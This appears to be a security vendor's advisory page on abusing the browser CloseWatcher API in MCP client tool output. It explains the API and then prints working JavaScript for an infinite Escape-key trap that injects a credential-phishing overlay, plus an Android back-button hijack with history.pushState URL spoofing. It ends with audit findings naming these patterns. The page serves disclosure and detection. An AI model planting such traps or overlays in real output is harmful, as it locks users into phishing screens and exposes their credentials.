MCP Server Security · CloseWatcher API · Escape Key Trap · Android Back Button · history.pushState · URL Spoofing · Electron WebView
MCP server CloseWatcher API security
The CloseWatcher API (Chrome 120+, Edge 120+) gives web pages programmatic control over "close" signals — the Escape key on desktop, the Android back button on mobile, and browser back gestures in PWA mode. Legitimate use: dismiss a custom dialog when the user presses Escape without writing separate keydown listeners. Abuse: combine oncancel + preventDefault() + a new CloseWatcher() to create an infinite Escape-key trap. On Android Electron MCP clients, intercept the hardware back button. Pair with history.pushState() to display a fake URL the user cannot navigate away from.
CloseWatcher API surface
// CloseWatcher API — Chrome 120+, Edge 120+
// Intercepts: Escape key, Android back button, browser back gesture
// Basic usage — requires one user activation (click, keypress, etc.)
// per CloseWatcher instance (browser limits abuse per-gesture)
const watcher = new CloseWatcher();
// oncancel fires BEFORE close — can be prevented
watcher.oncancel = (event) => {
// event.cancelable === true for Escape key and back button
// Call preventDefault() to block the default dismiss action
event.preventDefault();
console.log('Close signal intercepted — default prevented');
};
// onclose fires AFTER close is confirmed (cannot be prevented)
watcher.onclose = () => {
console.log('Close signal delivered');
};
// requestClose() — programmatically trigger a close signal
watcher.requestClose();
// destroy() — clean up (legitimate use)
watcher.destroy();
User activation limits abuse to one watcher per gesture — but MCP interactions provide unlimited activations. The browser allows one new CloseWatcher per user activation (click, key press, pointer event). This prevents a script from registering thousands of watchers on page load. However, in an MCP tool output context, every user interaction with the tool output — scrolling, clicking, typing in a form — generates a new user activation, allowing the tool output to accumulate one watcher per interaction across the session. A user who interacts with tool output ten times can have ten queued CloseWatcher intercepts: ten Escape presses are required before the browser's default behavior is restored.
Infinite Escape-key trap via oncancel + new CloseWatcher()
The modal loop attack pattern: when the user presses Escape, the oncancel handler fires, calls preventDefault() to block the default action (dialog dismissal, fullscreen exit, navigation), and immediately creates a new CloseWatcher — consuming the user activation generated by the Escape keypress itself. The new watcher is now ready to intercept the next Escape press. The result: every Escape press is consumed silently, and the user cannot dismiss the overlay through the standard keyboard mechanism:
// Infinite Escape-key trap using CloseWatcher modal loop
function installEscapeTrap() {
function createTrapWatcher() {
const watcher = new CloseWatcher();
watcher.oncancel = (event) => {
// Prevent the default Escape / back-button action
event.preventDefault();
// The Escape keypress itself provides a user activation.
// Use it to register a NEW CloseWatcher immediately —
// so the next Escape press is also intercepted.
createTrapWatcher();
// Show/maintain the phishing overlay
document.getElementById('phish-overlay').style.display = 'flex';
};
watcher.onclose = () => {
// Close was confirmed — re-register to maintain trap
createTrapWatcher();
};
return watcher;
}
// Inject phishing overlay
const overlay = document.createElement('div');
overlay.id = 'phish-overlay';
overlay.style.cssText = [
'position:fixed', 'inset:0', 'background:rgba(0,0,0,0.85)',
'z-index:2147483647', 'display:flex', 'align-items:center',
'justify-content:center', 'flex-direction:column', 'color:#fff'
].join(';');
overlay.innerHTML = `
Authentication Required
Your session has expired. Please re-enter your credentials.
`;
document.body.appendChild(overlay);
// Install initial trap watcher on first user interaction
document.addEventListener('click', () => createTrapWatcher(), { once: true });
}
installEscapeTrap();
Android back-button hijacking in Electron WebView + history.pushState URL spoofing
On Android, the hardware back button fires a CloseWatcher cancel event before triggering back navigation. In an Electron or WebView-based MCP client on Android, this enables an attacker to intercept the back button entirely. Combined with history.pushState() to change the displayed URL, the user sees a fake URL in the address bar and cannot navigate back to a trusted page:
// Android back-button hijacking + URL spoofing via CloseWatcher + pushState
async function installAndroidBackHijack() {
// Spoof the URL in the address bar (no actual navigation)
history.pushState({ hijacked: true }, '', '/account/verify-identity');
// User now sees: https://mcp-provider.example/account/verify-identity
// (fake path — the page content is injected by tool output)
// Set up CloseWatcher to intercept Android back button
const watcher = new CloseWatcher();
watcher.oncancel = (event) => {
// Android back button fires this — preventDefault() blocks navigation
event.preventDefault();
// Push another fake history entry to consume the back action
history.pushState({ hijacked: true }, '', '/account/verify-identity');
// Re-register watcher for next back press
installAndroidBackHijack();
};
// Result: user sees /account/verify-identity in URL bar,
// presses back repeatedly, but each back press is intercepted
// and a new pushState call restores the fake URL.
// The phishing overlay remains visible indefinitely on Android.
}
// Trigger on first touch event (provides user activation for CloseWatcher)
document.addEventListener('touchstart', installAndroidBackHijack, { once: true });
Browser and client support
| Browser / Client | CloseWatcher support | Escape key interception | Android back button |
|---|---|---|---|
| Chrome 120+, Edge 120+ | Yes — full support | Yes — oncancel fires on Escape | Yes (Chrome Android 120+) |
| Firefox | Not implemented | N/A — Escape keydown event used instead | N/A |
| Safari | Not implemented | N/A | N/A |
| Electron 28+ (Chrome 120 base) | Yes | Yes (desktop Escape) | Yes (Android Electron / WebView) |
SkillAudit findings
CloseWatcher + event.preventDefault() in oncancel + immediately creating a new CloseWatcher() — infinite Escape-key trap where every Escape press is silently consumed and a new watcher registered, preventing users from dismissing phishing overlays via keyboard
CloseWatcher in Electron WebView MCP clients — back-button hijacking prevents Android users from navigating away from injected phishing UI; combines with history.pushState() for persistent URL spoofing
history.pushState({}, '', '/fake-auth-path') with CloseWatcher back-navigation interception — user sees a spoofed URL in the address bar and cannot leave through standard back navigation; creates a convincing phishing context
CloseWatcher instantiation; Electron preload scripts must explicitly override or disable the API for protection
watcher.requestClose() to programmatically inject close signals — triggers onclose handlers on existing watchers, enabling chained close-signal injection that can activate dialog state machines in unexpected orders
Related: Navigation API Security · Fullscreen API Security · Run a SkillAudit →